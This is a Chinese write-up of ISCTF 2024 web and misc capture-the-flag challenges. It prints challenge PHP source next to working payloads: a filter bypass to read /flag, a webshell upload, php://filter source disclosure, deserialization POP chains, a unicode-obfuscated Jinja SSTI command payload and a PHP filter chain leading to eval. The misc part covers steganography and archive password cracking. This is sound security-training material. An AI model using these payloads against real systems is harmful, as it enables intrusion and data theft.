WEB 25时晓山瑞希生日会 http题
加个X-F-F头
回复包头有date的正确格式
慢慢改时间
小蓝鲨的冒险 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php error_reporting (0 );highlight_file (__FILE__ );$a = "isctf2024" ;$b = $_GET ["b" ]; @parse_str ($b );echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>" ;if ($a [0 ] != 'QNKCDZO' && md5 ($a [0 ]) == md5 ('QNKCDZO' )) { $num = $_POST ["num" ]; echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>" ; if ($num == 2024 ){ die ("QAQ小蓝鲨误入陷阱,不怕,再接再厉!" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("陷阱太多QAQ" ); } if (intval ($num ,0 ) == 2024 ){ echo "到这了难道还要放弃吗?<br>" ; if (isset ($_GET ['which' ])){ $which = $_GET ['which' ]; echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!" ; switch ($which ){ case 0 : print ('QAQ' ); case 1 : case 2 : require_once $which .'.php' ; echo $flag ; break ; default : echo GWF_HTML::error ('PHP-0817' , 'Hacker NoNoNo!' , false ); break ; } } } }
这里有个知识点是parse_str($b)漏洞 这个函数不会检查变量 $b 是否存在,如果通过其他方式传入数据给变量$b ,且当前$b中数据存在,它将会直接覆盖掉。
payload
1 2 ?b =a[0]=s878926199a&which =flagnum =2024.3
下面的switch涉及到弱比较 传入值flag与数字对比为0,满足第一个条件,而第一个case没有break终止,所以到2包含输出flag
1z_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file ('index.php' );if (isset ($_POST ['J' ])){ $call =$_POST ['J' ]; $dangerous_commands = ['cat' , 'tac' , 'head' , 'nl' , 'more' , 'less' , 'tail' , 'vi' , 'sed' , 'od' ]; foreach ($dangerous_commands as $command ) { if (preg_match ("/$command /i" , $call )) { die ("这些个危险函数可不兴使啊" ); } } system ($call ); }?>
反斜杠绕过即可
ezrce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );if (isset ($_GET ['cmd' ])) { $cmd = $_GET ['cmd' ]; if (preg_match ("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i" , $cmd )) { die ("Blocked by security filter!" ); } else { eval ($cmd ); } } else { highlight_file (__FILE__ ); }?>
禁用了系统函数和命令,但没禁用完全
1 ?cmd=passthru('c \at %09 /f*');
UP!UPloader 上传一句话木马,并没有限制 上传后提示 文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。 伪协议读取upload.php看保存到哪个位置了
1 include.php?filename=php:// filter/convert.base64-encode/ resource=upload.php
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php error_reporting (0 );$file = $_FILES ['file' ];if (isset ($file ) && $file ['size' ] > 0 ) { $ext = pathinfo ($file ['name' ], PATHINFO_EXTENSION); $name = pathinfo ($file ['name' ], PATHINFO_FILENAME); $dir_name = $name . '.' . $ext ; $upload_dir = './uploads/' ; if (!is_dir ($upload_dir )) { mkdir ($upload_dir , 0755 , true ); } if (move_uploaded_file ($file ['tmp_name' ], $upload_dir . md5 ($dir_name ) . '.' . $ext )) { echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ; } else { echo "文件存储失败,未知原因......" ; } die (); }?>
就是uploads+我们上传文件的MD5编码.php
flag在env中
天命人 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <?php error_reporting (0 );class Wuzhishan { public $wu ="俺老孙定要踏破这五指山!<br>" ; public $zhi ; public $shan ; function __get ($j ) { echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>" ; $yin ="s214587387a" ; $yang =$_GET ['J' ]; if (md5 ($yin )==$yang &&md5 ($yin )==md5 ($yang )){ echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>" ; system ('cat /flag' ); } } }class Huoyanjinjing { public $huoyan ; public $jinjing ; function __get ($huo ) { $this ->huoyan="火眼能洞察一切邪祟!<br>" ; echo $this ->huoyan->jinjing; } function __invoke ( ) { $this ->jinjing="金睛能看破世间迷惘!<br>" ; echo $this ->huoyan->jinjing; } }class Dinghaishenzhen { public $Jindou ="一个筋斗能翻十万八千里!<br>" ; public $yun ; function __toString ( ) { $f =$this ->yun; $f (); return "你真的逃出去了吗?天命人?<br>" ; } }class Jingdouyun { public $Qishier =72 ; public $bian ="看俺老孙七十二变!<br>" ; function __sleep ( ) { echo "三更敲门,菩提老祖送我筋斗云...<br>" ; echo new Jindouyun (); } }class Tianmingren { public $tianming ; public $ren ; function __destruct ( ) { echo "迷途中的羔羊,你相信天命吗?<br>" ; echo $this ->tianming; } }$data = unserialize ($_POST ['Wukong' ]);throw new Exception ('开局一根棍,装备全靠打。' );?>
不多bb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?php error_reporting (0 );class Wuzhishan { public $zhi ; public $shan ; function __get ($j ) { echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>" ; $yin ="s214587387a" ; $yang =$_GET ['J' ]; if (md5 ($yin )==$yang &&md5 ($yin )==md5 ($yang )){ echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>" ; system ('cat /flag' ); } } }class Huoyanjinjing { public $huoyan ; public $jinjing ; function __get ($huo ) { $this ->huoyan="火眼能洞察一切邪祟!<br>" ; echo $this ->huoyan->jinjing; } function __invoke ( ) { $this ->jinjing="金睛能看破世间迷惘!<br>" ; echo $this ->huoyan->jinjing; } }class Dinghaishenzhen { public $yun ; function __toString ( ) { $f =$this ->yun; $f (); return "你真的逃出去了吗?天命人?<br>" ; } }class Jingdouyun { public $Qishier =72 ; public $bian ="看俺老孙七十二变!<br>" ; function __sleep ( ) { echo "三更敲门,菩提老祖送我筋斗云...<br>" ; echo new Jindouyun (); } }class Tianmingren { public $tianming ; public $ren ; function __destruct ( ) { echo "迷途中的羔羊,你相信天命吗?<br>" ; echo $this ->tianming; } }$Tianmingren = new Tianmingren ();$Jingdouyun = new Jingdouyun ();$Dinghaishenzhen =new Dinghaishenzhen ();$Huoyanjinjing =new Huoyanjinjing ();$Wuzhishan = new Wuzhishan ();$Tianmingren ->tianming=$Dinghaishenzhen ;$Dinghaishenzhen ->yun = $Huoyanjinjing ;$Huoyanjinjing ->huoyan = $Wuzhishan ;$Tianmingren =array ($Tianmingren ,0 );echo urlencode (serialize ($Tianmingren ));
主要是绕过throw new Exception
破坏反序列化结构 payload
1 2 ? J = 0 e215962017 Wukong = a : 3 : { i : 0 ; O : 11 : "Tianmingren" : 2 : { s : 8 : "tianming" ; O : 15 : "Dinghaishenzhen" : 1 : { s : 3 : "yun" ; O : 13 : "Huoyanjinjing" : 2 : { s : 6 : "huoyan" ; O : 9 : "Wuzhishan" : 2 : { s : 3 : "zhi" ; N ; s : 4 : "shan" ; N ; } s : 7 : "jinjing" ; N ; } } s : 3 : "ren" ; N ; } i : 1 ; i : 0 ; }
ezSSTI 没有用常用的注入方式 用的是unicode编码绕过,相对于不是那么繁杂 不多bb
1 2 ls / {%print(lipsum|attr('\u005f \u005f \u0067 \u006c \u006f \u0062 \u0061 \u006c \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u005f \u005f \u0062 \u0075 \u0069 \u006c \u0074 \u0069 \u006e \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u0065 \u0076 \u0061 \u006c ')('\u005f \u005f \u0069 \u006d \u0070 \u006f \u0072 \u0074 \u005f \u005f \u0028 \u0022 \u006f \u0073 \u0022 \u0029 \u002e \u0070 \u006f \u0070 \u0065 \u006e \u0028 \u0022 \u006c \u0073 \u0020 \u002f \u0022 \u0029 \u002e \u0072 \u0065 \u0061 \u0064 \u0028 \u0029 '))%}
直接换最后一个括号的内容,非常方便 cat /flag
1 {%print(lipsum |attr(' \u005f \u005f \u0067 \u006c \u006f \u0062 \u0061 \u006c \u0073 \u005f \u005f ')|attr(' \u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')(' \u005f \u005f \u0062 \u0075 \u0069 \u006c \u0074 \u0069 \u006e \u0073 \u005f \u005f ')|attr(' \u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')(' \u0065 \u0076 \u0061 \u006c ')(' \u005f \u005f \u0069 \u006d \u0070 \u006f \u0072 \u0074 \u005f \u005f \u0028 \u0022 \u006f \u0073 \u0022 \u0029 \u002e \u0070 \u006f \u0070 \u0065 \u006e \u0028 \u0022 \u0063 \u0061 \u0074 \u0020 \u002f \u0066 \u006c \u0061 \u0067 \u0022 \u0029 \u002e \u0072 \u0065 \u0061 \u0064 \u0028 \u0029 '))%}
看了大二的报告才知道fenjing这个东西,可以自动化爆出ssti 介绍:焚靖是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口。 使用pip安装运行 pip install fenjing fenjing webui #fenjing scan –url ‘hTTp://sdxxx:xxx’
fenjing_github 方便是方便了,就是有点慢啊👀
小蓝鲨的秘密 很可惜,这个简单题没做出来,出题人很有水平只能说 这题的切入点是开启靶机 打开题名后直接重定向到官网,做题的时候一直没注意这个,因为蓝鲨信息是做隐写解密的,我一直以为应该是要把它官网中的一段二进制源码解密,才能得到flag🤣,还是经验太少了 既然是重定向 我们先来看靶机开启的链接 在进入这个链接之前抓包以防它又重定向到官网了 长知识了,还能这么玩
小蓝鲨的临时存储室 这道题也是简单题,竟然没做出来 文件上传题,其实它没有过滤任何东西 再找flag的过程中发现蚁剑突然连不上了 发现根目录下有一个文件down_file.sh 他哟个一个把我们入口删除的任务 把它注释掉即可(也可直接上传不死马) 发现flag,但没有我们读取的权限,当时我的思路是提权,脏牛,suid提权等等 但其实看我们down_file.sh属于我们apache这个用户,且有执行权限,但这里我不明白的是,apache的用户怎么可以控制root用户的内容 等待3-5分钟即可,不要主动执行这个sh程序,要系统自动执行(当时想到这么做,但是没等太久,所以flag没爆出来就觉得这个方法行不通) 可以看到flag的权限已被改为最大权限,我们现在可以读了,且flag也被写入了/tmp/111
ezserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 );class Flag { private $flag ; public function __construct ( ) { $this ->flag = file_get_contents ('/flag' ); } public function getFlag ( ) { return $this ->flag; } public function __toString ( ) { return "You can't directly access the flag!" ; } }class User { public $username ; public $isAdmin = false ; public function __construct ($username ) { $this ->username = $username ; } public function __wakeup ( ) { if ($this ->isAdmin) { echo "Welcome, admin! Here's your flag: " . (new Flag ())->getFlag (); } else { echo "Hello, " . htmlspecialchars ($this ->username) . "!" ; } } }if (isset ($_GET ['data' ])) { $data = $_GET ['data' ]; $object = unserialize ($data ); if ($object instanceof User) { echo $object ; } else { echo "Invalid object!" ; } } else { highlight_file (__FILE__ ); }?>
触发点为User类的wakup魔法函数,只要让isAdmin为true就能出flag exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );class Flag { private $flag ; public function __construct ( ) { $this ->flag = file_get_contents ('/flag' ); } }class User { public $username ; public $isAdmin = true ; }$User = new User ();echo urlencode (serialize ($User ));?>
千年樱 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php include "dir.php" ;highlight_file (__FILE__ );echo "proof of work<br>" ;if ($_COOKIE ['from' ] === "ISCTF" ){ echo $dir1 ; }else { die ('what? so where are you from?' ); }?>
好绕过,加个cookie头 进入/get_contents_qwerghjkl.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php include "dir.php" ; highlight_file (__FILE__ ); if (file_get_contents ($_POST ['name' ]) === 'ISCTF' ){ echo $dir2 ; } else { die ("Wrong!" ); } ?>
直接name=ISCTF会报错,用data伪协议写入 POST传:name=data://text/plain,ISCTF 进入/well_down_mlpnkobji.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "dir.php" ; highlight_file (__FILE__ ); function waf ($str ) { if (preg_match ("/http|php|file|:|=|\/|\?/i" , $str ) ){ die ('bad hacker!!!' ); } } $poc = $_POST ['poc' ]; waf ($poc ); $filename = "php://filter/$poc /resource=/var/www/html/badChar.txt" ; $result = file_get_contents ($filename ); if ($result === "sakura for ISCTF" ){ echo "yes! master!" ; eval ($_POST ['cmd' ]); } if ($_GET ['output' ] == 114514 && !is_numeric ($_GET ['output' ])){ var_dump ($result ); } ?>
这里可以用php://filter链构造字符加strips_tags截断filterchain加string.strip_tags随意构造字符串
1 2 if($_GET['output'] == 114514 && !is_numeric($_GET['output'])) var_dump($result)
这一段可以通过GET传入:output=114514a来绕过
这里我们用php_filter_chain_generator这个工具生成
1 python php_filter_chain_generator.py --chain 'sakura for ISCTF<?'
<?是闭合标签 生成内容
1 php://filter/convert.iconv.UTF8.CSISO2022KR|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM869.UTF16|convert .iconv.L3.CSISO90|convert .iconv.UCS2.UTF-8 |convert .iconv.CSISOLATIN6.UCS-4 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.MAC.UTF16|convert .iconv.L8.UTF16BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .iconv.CP950.UTF16|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP869.UTF-32 |convert .iconv.MACUK.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UCS2.UTF8|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.863 .UNICODE|convert .iconv.ISIRI3342.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.DEC.UTF-16 |convert .iconv.ISO8859-9. ISO_6937-2 |convert .iconv.UTF16.GB13000|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L4.UTF32|convert .iconv.CP1250.UCS-2 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UTF16.EUCTW|convert .iconv.ISO-8859 -14. UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.BIG5HKSCS.UTF16|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L6.UNICODE|convert .iconv.CP1282.ISO-IR-90 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.BIG5.SHIFT_JISX0213|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CSGB2312.UTF-32 |convert .iconv.IBM-1161. IBM932|convert .iconv.GB13000.UTF16BE|convert .iconv.864 .UTF-32 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.863 .UNICODE|convert .iconv.ISIRI3342.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .iconv.GBK.BIG5|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM869.UTF16|convert .iconv.L3.CSISO90|convert .iconv.ISO-IR-99. UCS-2 BE|convert .iconv.L4.OSF00010101|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP950.SHIFT_JISX0213|convert .iconv.UHC.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP949.UTF32BE|convert .iconv.ISO_69372.CSIBM921|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L4.UTF32|convert .iconv.CP1250.UCS-2 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .base64-decode/resource=php://temp
接下来我们要删减一些东西,在增添string.strip_tags把后面乱码消掉 删减前面的
1 php:// filter/convert.iconv.UTF8.CSISO2022KR|
以及删减后面的
再在最后加上
得到payload
1 convert.base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM869.UTF16|convert .iconv.L3.CSISO90|convert .iconv.UCS2.UTF-8 |convert .iconv.CSISOLATIN6.UCS-4 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.MAC.UTF16|convert .iconv.L8.UTF16BE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .iconv.BIG5.JOHAB|convert .iconv.CP950.UTF16|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .iconv.SJIS.EUCJP-WIN|convert .iconv.L10.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP869.UTF-32 |convert .iconv.MACUK.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UCS2.UTF8|convert .iconv.8859 _3.UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.863 .UNICODE|convert .iconv.ISIRI3342.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CP861.UTF-16 |convert .iconv.L4.GB13000|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.DEC.UTF-16 |convert .iconv.ISO8859-9. ISO_6937-2 |convert .iconv.UTF16.GB13000|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L4.UTF32|convert .iconv.CP1250.UCS-2 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.UTF8.UTF16LE|convert .iconv.UTF8.CSISO2022KR|convert .iconv.UTF16.EUCTW|convert .iconv.ISO-8859 -14. UCS2|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.SE2.UTF-16 |convert .iconv.CSIBM1161.IBM-932 |convert .iconv.BIG5HKSCS.UTF16|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L6.UNICODE|convert .iconv.CP1282.ISO-IR-90 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.BIG5.SHIFT_JISX0213|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.CSGB2312.UTF-32 |convert .iconv.IBM-1161. IBM932|convert .iconv.GB13000.UTF16BE|convert .iconv.864 .UTF-32 LE|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.863 .UNICODE|convert .iconv.ISIRI3342.UCS4|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.PT.UTF32|convert .iconv.KOI8-U.IBM-932 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.INIS.UTF16|convert .iconv.CSIBM1133.IBM943|convert .iconv.GBK.BIG5|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.IBM869.UTF16|convert .iconv.L3.CSISO90|convert .iconv.ISO-IR-99. UCS-2 BE|convert .iconv.L4.OSF00010101|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP950.SHIFT_JISX0213|convert .iconv.UHC.JOHAB|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L5.UTF-32 |convert .iconv.ISO88594.GB13000|convert .iconv.CP949.UTF32BE|convert .iconv.ISO_69372.CSIBM921|convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .iconv.L4.UTF32|convert .iconv.CP1250.UCS-2 |convert .base64-decode|convert .base64-encode|convert .iconv.UTF8.UTF7|convert .base64-decode|string .strip_tags
下面用cmd rce即可
MISC 小蓝鲨的签到02 将里面的jpg文件用记事本打开即可,flag在最后面
数字迷雾:在像素中寻找线索 解压缩包,是个png文件,png文件可以用zsteg嗦一下
少女的秘密花园 解压缩包发现有个flag.jpg文件,先用010打开 发现50 4b开头的16进制头,这通常代表zip包头,放到binwalk分离一下
分离出压缩包 解压后有个base_misc,照样用010查看一下 照样是个zip文件,改一下后缀为zip 有密码且没有提示,爆破一下 密码是040714 输入密码后显示如上 chatgpt得知这是图片转base64,现在把base64转图片 得到图片,但是感觉下面的不完整,应该需要改分辨率 用脚本爆破宽高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import zlibimport structwith open (r"result.png" ,'rb' ) as image_data: bin_data = image_data.read() data = bytearray (bin_data[12 :29 ]) crc32key = struct.unpack('>I' , bin_data[29 :33 ])[0 ] n = 4096 for w in range (n): width = bytearray (struct.pack('>i' , w)) for h in range (n): height = bytearray (struct.pack('>i' , h)) for x in range (4 ): data[x+4 ] = width[x] data[x+8 ] = height[x] crc32result = zlib.crc32(data) if crc32result == crc32key: print ("width:%s height:%s" % (bytearray (width).hex (), bytearray (height).hex ())) exit()
修改宽高 现在就显示完全了 但是这是什么图片呢? 试过各种矩阵码都不行 查看wp发现这是盲文。。。。 按行来对照写入 得到JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2 base32解密得到flag
像素圣战 png文件老规矩先给zsteg,但并没有有效信息 将图片上传到该网站PixelJihad 图片隐写解密工具,密码是ISCTF,好像是纯猜 点击查看消息
1 10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001
得到隐写的数据,这里工具可以直接嗦,实际步骤为将二进制字符串倒置,然后7位一组转ascii
watermark 打开 其中flag.zip需要密码 还是刚才的工具,把key.2.png拖到工具的FFT执行 然后在图片所在的目录中新生成了一个图片,发现了隐写的盲水印 打开key1.txt,根据提示可为零宽字节隐写 在线网站进行文本隐水印 key1key2拼接打开压缩包
秘密 打开需要密码 疑似为伪加密,需要修复 用010打开zip文件 把这两个09改为00 然后就可以解压了 010打开搜索到密码 ISCTF2024
联想到我们的秘密,进行oursecret进行解密 源目录下生成了一个文件 打开 尝试零宽字节隐写解密,在线或工具都行 好家伙,万能工具
starry sky 打开 发现图片打不开,查看源码或者拖进工具中 base64转图片 下载下来 拖到010中,发现XORkey为FF 文件夹中正好有个xor文件 这里用个工具,简易文件XOR工具 010打开发现为wava可知是音频文件,改后缀为.wav 播放使用RX-SSTV得到dsekey为YanHuoLG 使用在线des解密,把f1ag.txt的内容放进去
赢!rar 用010查看看到密码为admin123456 或者用winrar也可以看到密码 用7z打开压缩包,发现有一个文件是不一样的,而其它文件都是相同的内容,而winrar看不到这个文件 把这个文件的内容放到随波逐流中可以直接嗦出来
老八奇怪自拍照 解压得到一张png图片,用StegSolve检查各个通道 点击最下面的左右来检查各个通道 发现在红色5 绿色2 蓝色1 通道内有明显的LSB隐写的特征 一眼zip将其保存出来解压 改后缀为zip解压,用winrar会报错,用7z解压 在属性里可以发现作者一栏有信息 用这个作为密码解StegHide即可得到flag.txt
1 steghide extract -sf isctf.jpg -p 1 ScTf2024!;
附件中有个flag文件,查看16进制头不知道是什么文件的头 丢进DIE 发现这是个WinAce文件 搜索后发现可以用ARCHPR爆破,直接爆破密码 密码为:241023 将flag后缀改为exe后打开 输入密码即可获得flag